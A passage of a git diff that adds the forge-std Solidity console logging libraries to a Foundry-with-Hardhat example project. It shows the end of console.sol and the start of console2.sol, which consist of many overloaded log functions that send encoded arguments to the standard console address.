+    function log(address p0, uint p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,address)', p0, p1, p2, p3));
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/console2.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/console2.sol
new file mode 100644
index 000000000..80c2f73d2
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/console2.sol
@@ -0,0 +1,1555 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.4.22 <0.9.0;
+
+/// @dev The original console.sol uses `int` and `uint` for computing function selectors, but it should
+/// use `int256` and `uint256`. This modified version fixes that. This version is recommended
+/// over `console.sol` if you don't need compatibility with Hardhat as the logs will show up in
+/// forge stack traces. If you do need compatibility with Hardhat, you must use `console.sol`.
+/// Reference: https://github.com/NomicFoundation/hardhat/issues/2178
+library console2 {
+    address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
+
+    function _castLogPayloadViewToPure(function(bytes memory) internal view fnIn) internal pure returns (function(bytes memory) internal pure fnOut) {
+        assembly {
+            fnOut := fnIn
+        }
+    }
+
+    function _sendLogPayload(bytes memory payload) internal pure {
+        _castLogPayloadViewToPure(_sendLogPayloadView)(payload);
+    }
+
+    function _sendLogPayloadView(bytes memory payload) private view {
+        uint256 payloadLength = payload.length;
+        address consoleAddress = CONSOLE_ADDRESS;
+        /// @solidity memory-safe-assembly
+        assembly {
+            let payloadStart := add(payload, 32)
+            let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
+        }
+    }
+
+    function log() internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log()'));
+    }
+
+    function logInt(int256 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(int256)', p0));
+    }
+
+    function logUint(uint256 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256)', p0));
+    }
+
+    function logString(string memory p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function logBool(bool p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool)', p0));
+    }
+
+    function logAddress(address p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address)', p0));
+    }
+
+    function logBytes(bytes memory p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes)', p0));
+    }
+
+    function logBytes1(bytes1 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes1)', p0));
+    }
+
+    function logBytes2(bytes2 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes2)', p0));
+    }
+
+    function logBytes3(bytes3 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes3)', p0));
+    }
+
+    function logBytes4(bytes4 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes4)', p0));
+    }
+
+    function logBytes5(bytes5 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes5)', p0));
+    }
+
+    function logBytes6(bytes6 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes6)', p0));
+    }
+
+    function logBytes7(bytes7 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes7)', p0));
+    }
+
+    function logBytes8(bytes8 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes8)', p0));
+    }
+
+    function logBytes9(bytes9 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes9)', p0));
+    }
+
+    function logBytes10(bytes10 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes10)', p0));
+    }
+
+    function logBytes11(bytes11 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes11)', p0));
+    }
+
+    function logBytes12(bytes12 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes12)', p0));
+    }
+
+    function logBytes13(bytes13 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes13)', p0));
+    }
+
+    function logBytes14(bytes14 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes14)', p0));
+    }
+
+    function logBytes15(bytes15 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes15)', p0));
+    }
+
+    function logBytes16(bytes16 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes16)', p0));
+    }
+
+    function logBytes17(bytes17 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes17)', p0));
+    }
+
+    function logBytes18(bytes18 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes18)', p0));
+    }
+
+    function logBytes19(bytes19 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes19)', p0));
+    }
+
+    function logBytes20(bytes20 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes20)', p0));
+    }
+
+    function logBytes21(bytes21 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes21)', p0));
+    }
+
+    function logBytes22(bytes22 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes22)', p0));
+    }
+
+    function logBytes23(bytes23 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes23)', p0));
+    }
+
+    function logBytes24(bytes24 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes24)', p0));
+    }
+
+    function logBytes25(bytes25 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes25)', p0));
+    }
+
+    function logBytes26(bytes26 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes26)', p0));
+    }
+
+    function logBytes27(bytes27 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes27)', p0));
+    }
+
+    function logBytes28(bytes28 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes28)', p0));
+    }
+
+    function logBytes29(bytes29 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes29)', p0));
+    }
+
+    function logBytes30(bytes30 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes30)', p0));
+    }
+
+    function logBytes31(bytes31 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes31)', p0));
+    }
+
+    function logBytes32(bytes32 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes32)', p0));
+    }
+
+    function log(uint256 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256)', p0));
+    }
+
+    function log(int256 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(int256)', p0));
+    }
+
+    function log(string memory p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function log(bool p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool)', p0));
+    }
+
+    function log(address p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address)', p0));
+    }
+
+    function log(uint256 p0, uint256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256)', p0, p1));
+    }
+
+    function log(uint256 p0, string memory p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string)', p0, p1));
+    }
+
+    function log(uint256 p0, bool p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool)', p0, p1));
+    }
+
+    function log(uint256 p0, address p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address)', p0, p1));
+    }
+
+    function log(string memory p0, uint256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256)', p0, p1));
+    }
+
+    function log(string memory p0, int256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,int256)', p0, p1));
+    }
+
+    function log(string memory p0, string memory p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string)', p0, p1));
+    }
+
+    function log(string memory p0, bool p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool)', p0, p1));
+    }
+
+    function log(string memory p0, address p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address)', p0, p1));
+    }
+
+    function log(bool p0, uint256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256)', p0, p1));
+    }
+
+    function log(bool p0, string memory p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string)', p0, p1));
+    }
+
+    function log(bool p0, bool p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool)', p0, p1));
+    }
+
+    function log(bool p0, address p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address)', p0, p1));
+    }
+
+    function log(address p0, uint256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256)', p0, p1));
+    }
+
+    function log(address p0, string memory p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string)', p0, p1));
+    }
+
+    function log(address p0, bool p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool)', p0, p1));
+    }
+
+    function log(address p0, address p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address)', p0, p1));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, uint256 p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, string memory p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, bool p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, bool p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, address p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, address p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, address p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint256 p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint256 p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint256 p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address)', p0, p1, p2));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256)', p0, p1, p2));
+    }
+
+    function log(address p0, uint256 p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string)', p0, p1, p2));
+    }
+
+    function log(address p0, uint256 p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, uint256 p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string,uint256)', p0, p1, p2, p3));
+    }
+
